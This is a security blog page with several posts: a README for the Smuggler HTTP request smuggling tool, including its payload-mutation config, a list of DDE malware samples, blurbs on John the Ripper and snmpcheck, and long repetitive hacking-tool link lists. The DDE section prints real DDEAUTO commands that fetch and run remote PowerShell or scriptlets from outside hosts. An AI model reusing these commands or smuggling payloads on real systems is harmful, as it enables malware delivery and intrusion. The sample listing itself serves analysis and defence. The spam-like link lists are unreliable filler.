martes, 30 de mayo de 2023

Smuggler - An HTTP Request Smuggling / Desync Testing Tool


An HTTP Request Smuggling / Desync testing tool written in Python 3


IMPORTANT

This tool does not guarantee no false-positives or false-negatives. Just because a mutation may report OK does not mean there isn't a desync issue, but more importantly just because the tool indicates a potential desync issue does not mean there definitely exists one. The script may encounter request processors from large entities (i.e. Google/AWS/Yahoo/Akamai/etc..) that may show false positive results.


Installation

  1. git clone https://github.com/defparam/smuggler.git
  2. cd smuggler
  3. python3 smuggler.py -h

Example Usage

Single Host:

python3 smuggler.py -u <URL>

List of hosts:

cat list_of_hosts.txt | python3 smuggler.py

Options

usage: smuggler.py [-h] [-u URL] [-v VHOST] [-x] [-m METHOD] [-l LOG] [-q]
[-t TIMEOUT] [--no-color] [-c CONFIGFILE]

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Target URL with Endpoint
-v VHOST, --vhost VHOST
Specify a virtual host
-x, --exit_early Exit scan on first finding
-m METHOD, --method METHOD
HTTP method to use (e.g GET, POST) Default: POST
-l LOG, --log LOG Specify a log file
-q, --quiet Quiet mode will only log issues found
-t TIMEOUT, --timeout TIMEOUT
Socket timeout value Default: 5
--no-color Suppress color codes
-c CONFIGFILE, --configfile CONFIGFILE
Filepath to the configuration file of payloads

Smuggler at a minimum requires either a URL via the -u/--url argument or a list of URLs piped into the script via stdin. If the URL specifies https:// then Smuggler will connect to the host:port using SSL/TLS. If the URL specifies http:// then no SSL/TLS will be used at all. If only the host is specified, then the script will default to https://

Use -v/--vhost <host> to specify a different host header from the server address

Use -x/--exit_early to exit the scan of a given server when a potential issue is found. In piped mode smuggler will just continue to the next host on the list

Use -m/--method <method> to specify a different HTTP verb from POST (i.e GET/PUT/PATCH/OPTIONS/CONNECT/TRACE/DELETE/HEAD/etc...)

Use -l/--log <file> to write output to file as well as stdout

Use -q/--quiet reduce verbosity and only log issues found

Use -t/--timeout <value> to specify the socket timeout. The value should be high enough to conclude that the socket is hanging, but low enough to speed up testing (default: 5)

Use --no-color to suppress the output color codes printed to stdout (logs by default don't include color codes)

Use -c/--configfile <configfile> to specify your smuggler mutation configuration file (default: default.py)


Config Files

Configuration files are python files that exist in the ./config directory of smuggler. These files describe the content of the HTTP requests and the transfer-encoding mutations to test.

Here is example content of default.py:

def render_template(gadget):
RN = "\r\n"
p = Payload()
p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN
# p.header += "Transfer-Encoding: chunked" +RN
p.header += gadget + RN
p.header += "Host: __HOST__" + RN
p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN
p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN
p.header += "Content-Length: __REPLACE_CL__" + RN
return p


mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked")
mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked")
mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked")
mutations["space1"] = render_template("Transfer-Encoding : chunked")

for i in [0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF]:
mutations["midspace-% 02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i))
mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i))
mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i))
mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i))
mutations["xprespace-%02x"%i] = render_template("X: X%cTransfer-Encoding: chunked"%(i))
mutations["endspacex-%02x"%i] = render_template("Transfer-Encoding: chunked%cX: X"%(i))
mutations["rxprespace-%02x"%i] = render_template("X: X\r%cTransfer-Encoding: chunked"%(i))
mutations["xnprespace-%02x"%i] = render_template("X: X%c\nTransfer-Encoding: chunked"%(i))
mutations["endspacerx-%02x"%i] = render_template("Transfer-Encoding: chunked\r%cX: X"%(i))
mutations["endspacexn-%02x"%i] = render_template("Transfer-Encoding: chunked%c\nX: X"%(i))

There are no input arguments yet on specifying your own customer headers and user-agents. It is recommended to create your own configuration file based on default.py and modify it to your liking.

Smuggler comes with 3 configuration files: default.py (fast), doubles.py (niche, slow), exhaustive.py (very slow) default.py is the fastest because it contains less mutations.

specify configuration files using the -c/--configfile <configfile> command line option


Payloads Directory

Inside the Smuggler directory is the payloads directory. When Smuggler finds a potential CLTE or TECL desync issue, it will automatically dump a binary txt file of the problematic payload in the payloads directory. All payload filenames are annotated with the hostname, desync type and mutation type. Use these payloads to netcat directly to the server or to import into other analysis tools.


Helper Scripts

After you find a desync issue feel free to use my Turbo Intruder desync scripts found Here: https://github.com/defparam/tiscripts DesyncAttack_CLTE.py and DesyncAttack_TECL.py are great scripts to help stage a desync attack


License

These scripts are released under the MIT license. See LICENSE.



Related word


lunes, 29 de mayo de 2023

DDE Command Execution Malware Samples




Here are a few samples related to the recent DDE Command execution










Links updated: Jan 20, 2023


References


File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b



John The Ripper


"A powerful, flexible, and fast multi-platform password hash cracker John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. You will want to start with some wordlists, which you can find here or here. " read more...

Website: http://www.openwall.com/john

Read more
  1. Hacking Tools For Windows
  2. Hackrf Tools
  3. Kik Hack Tools
  4. Pentest Tools Apk
  5. Hack Apps
  6. Hacking Tools Software
  7. Pentest Tools Bluekeep
  8. Hacks And Tools
  9. Hacker Tools
  10. World No 1 Hacker Software
  11. Blackhat Hacker Tools
  12. Pentest Tools Review
  13. Pentest Tools Website
  14. Nsa Hack Tools
  15. Hacking Tools Online
  16. Pentest Tools Port Scanner
  17. Hacking Tools For Windows
  18. Black Hat Hacker Tools
  19. Pentest Tools For Ubuntu
  20. Pentest Tools Find Subdomains
  21. Hacking Tools Pc
  22. Pentest Tools For Android
  23. Hacking Tools Name
  24. Pentest Tools Bluekeep
  25. Pentest Tools Review
  26. Pentest Tools Apk
  27. Hacking Tools For Beginners
  28. Pentest Tools Android
  29. Hacker Tools Free Download
  30. Wifi Hacker Tools For Windows
  31. Hacking Tools For Mac
  32. Hacking Tools 2019
  33. Pentest Box Tools Download
  34. Hacking Apps
  35. Pentest Tools Subdomain
  36. Hacking Tools Windows
  37. Hackers Toolbox
  38. Pentest Recon Tools
  39. Hacker Tools Online
  40. Pentest Tools For Android
  41. Hacker
  42. Hackrf Tools
  43. Hacker Tools Free Download
  44. Pentest Tools Subdomain
  45. Hacking Tools For Mac
  46. Pentest Tools Url Fuzzer
  47. Pentest Tools Free
  48. Kik Hack Tools
  49. Hacker Techniques Tools And Incident Handling
  50. Hacking Tools Usb
  51. World No 1 Hacker Software
  52. Pentest Tools For Windows
  53. Hack Tool Apk
  54. Hacker Hardware Tools
  55. Pentest Tools Alternative
  56. Nsa Hack Tools
  57. Hack Tools Github
  58. What Is Hacking Tools
  59. Blackhat Hacker Tools
  60. Tools Used For Hacking
  61. Hacking Tools Download
  62. Hack Tools For Windows
  63. Pentest Tools Android
  64. Pentest Tools Port Scanner
  65. Hacker Tools For Ios
  66. Hack Tools Download
  67. Nsa Hacker Tools
  68. Hacking Tools For Windows Free Download
  69. Top Pentest Tools
  70. Hackers Toolbox
  71. Hack Tools For Windows
  72. Ethical Hacker Tools
  73. Beginner Hacker Tools
  74. Nsa Hacker Tools
  75. Hacking Tools Software
  76. Hacker Tools Windows
  77. Hacking App
  78. Pentest Tools Alternative
  79. What Is Hacking Tools
  80. Best Hacking Tools 2020
  81. Hacking Tools And Software
  82. Pentest Tools For Mac
  83. Hacker
  84. Hacking Tools Hardware
  85. Hacking Tools 2019
  86. Hacker Tools Github
  87. Hacking Tools Windows 10
  88. Pentest Tools Apk
  89. Pentest Tools Free
  90. Pentest Tools Tcp Port Scanner
  91. Hacking Tools Online
  92. Hacking Tools Software
  93. Hack Tools Download
  94. Hacking Tools For Beginners
  95. Pentest Tools Bluekeep
  96. Pentest Tools Windows
  97. Hacker Tools Mac
  98. Pentest Tools For Ubuntu
  99. Hacker Tools For Windows
  100. Best Pentesting Tools 2018
  101. New Hacker Tools
  102. Black Hat Hacker Tools
  103. Hacking Tools For Windows Free Download
  104. Hacker Tools Mac
  105. Hack Tools
  106. What Is Hacking Tools
  107. Hacker Tools Free
  108. How To Install Pentest Tools In Ubuntu
  109. World No 1 Hacker Software
  110. Hacking Tools For Mac
  111. Hacks And Tools
  112. Free Pentest Tools For Windows
  113. Pentest Tools Find Subdomains
  114. What Is Hacking Tools
  115. Android Hack Tools Github
  116. Pentest Tools
  117. Hacker Tools Hardware
  118. Hack Tools Github
  119. Hacker Tools Free
  120. Nsa Hack Tools
  121. Nsa Hacker Tools
  122. Hack Tools Mac
  123. Hacking Tools 2020
  124. Hack Tool Apk No Root
  125. Pentest Tools Kali Linux
  126. Hack And Tools
  127. Physical Pentest Tools
  128. How To Install Pentest Tools In Ubuntu
  129. Hack Tools Download
  130. Hacker Tools
  131. Hacker Techniques Tools And Incident Handling
  132. Pentest Tools
  133. Hacking Tools For Mac
  134. Hack Tools
  135. Pentest Tools Review

Snmpcheck


"snmpcheck is a free open source utility to get information via SNMP protocols. It works fine against Windows, Linux, Cisco, HP-UX, SunOS systems and any devices with SNMP protocol support. It could be useful for penetration testing or systems monitoring. snmpcheck has been tested on GNU/Linux, *BSD, Windows systems and Cygwin. snmpcheck is distributed under GPL license and based on Athena-2k script by jshaw. " read more...

Website: http://www.nothink.org/perl/snmpcheck


Related posts
  1. Hack And Tools
  2. What Are Hacking Tools
  3. Pentest Tools Website Vulnerability
  4. Hacker Tools Github
  5. Tools Used For Hacking
  6. World No 1 Hacker Software
  7. What Is Hacking Tools
  8. Hacker Techniques Tools And Incident Handling
  9. Hackrf Tools
  10. Hacker
  11. Hacking Tools Name
  12. New Hacker Tools
  13. Hack Tools Online
  14. Pentest Automation Tools
  15. Hacker Tools Mac
  16. Underground Hacker Sites
  17. Hack Tool Apk
  18. Pentest Tools Website Vulnerability
  19. Hacking Tools For Windows Free Download
  20. Hack Tool Apk
  21. Pentest Tools Free
  22. Hacker Techniques Tools And Incident Handling
  23. Hacking Tools Github
  24. Hacking Tools Windows 10
  25. Pentest Tools Nmap
  26. Pentest Tools Port Scanner
  27. Pentest Tools Android
  28. Hacker Tools For Ios
  29. Free Pentest Tools For Windows
  30. Physical Pentest Tools
  31. Kik Hack Tools
  32. Pentest Tools Port Scanner
  33. Hacking Tools Pc
  34. New Hacker Tools
  35. Wifi Hacker Tools For Windows
  36. Hacker Tools For Ios
  37. Hack Tools
  38. Ethical Hacker Tools
  39. Hacking Tools Online
  40. How To Hack
  41. Hack Tools For Windows
  42. Pentest Tools Website Vulnerability
  43. Hacking Tools Free Download
  44. Hacker Tools
  45. Best Hacking Tools 2020
  46. Hack Apps
  47. Hacking Tools Mac
  48. Physical Pentest Tools
  49. Ethical Hacker Tools
  50. Hacking Tools Kit
  51. Pentest Tools For Ubuntu
  52. Hack Tools For Ubuntu
  53. Hacker Tools Windows
  54. Hacking Tools For Mac
  55. Pentest Tools Free
  56. Hack Apps
  57. Top Pentest Tools
  58. Usb Pentest Tools
  59. Pentest Tools Alternative
  60. Hack Tools For Games
  61. Hacking Tools 2019
  62. Kik Hack Tools
  63. Hack Tools Github
  64. Hacking Apps
  65. Hack Tools Mac
  66. Pentest Tools Kali Linux
  67. Hack Tools Pc
  68. Hacker Tools Software
  69. Install Pentest Tools Ubuntu
  70. Ethical Hacker Tools
  71. Hacking Tools For Pc
  72. Hack Tools Online
  73. Hacker Hardware Tools
  74. Hack Website Online Tool
  75. Pentest Tools Alternative
  76. Install Pentest Tools Ubuntu
  77. New Hack Tools
  78. Hack Tool Apk
  79. Hack Tools Github
  80. Free Pentest Tools For Windows
  81. Hacking Tools Online
  82. Tools For Hacker
  83. Pentest Tools Review
  84. Pentest Tools Linux
  85. Computer Hacker
  86. Hack Tools Online
  87. Hacking Tools And Software
  88. Hacking Tools Hardware
  89. Hack Tools For Mac
  90. Hacker Tools Free Download
  91. Pentest Recon Tools
  92. Hacker Tools For Pc
  93. Pentest Tools Windows
  94. Hacking Tools Github
  95. Hacker Tools Mac
  96. Install Pentest Tools Ubuntu
  97. Android Hack Tools Github
  98. Hacking Tools Download
  99. Tools 4 Hack
  100. Pentest Tools Linux
  101. Top Pentest Tools
  102. Hackers Toolbox
  103. Hack Tools Online
  104. Pentest Tools For Mac
  105. Hacking Tools And Software
  106. Install Pentest Tools Ubuntu
  107. Pentest Tools Free
  108. Hack Tools For Ubuntu
  109. Hacker Tools For Pc
  110. Hacking Tools
  111. Pentest Tools Port Scanner
  112. Computer Hacker
  113. Hacker Tools For Pc
  114. Pentest Tools Port Scanner
  115. Pentest Tools Windows
  116. Best Pentesting Tools 2018
  117. Underground Hacker Sites
  118. How To Hack
  119. Hack Tools
  120. New Hacker Tools
  121. Hacking Tools Software
  122. Hacker Tools Windows

domingo, 28 de mayo de 2023

WHO IS ETHICAL HACKER

Who is hacker?
A hacker is a Creative person and a creative Programmer,who have knowledge about Networking,Operating system,hacking & a best creative social engineer who control anyone's mind he is also a knowledgeable person.
Hacker are the problem solver and tool builder.

                                OR

A hacker is an individual who uses computer, networking and other skills to overcome a technical problem but it often refers to a person who uses his or her abilities to gain unauthorized access to system or networks in  order to commit crimes. 


Related links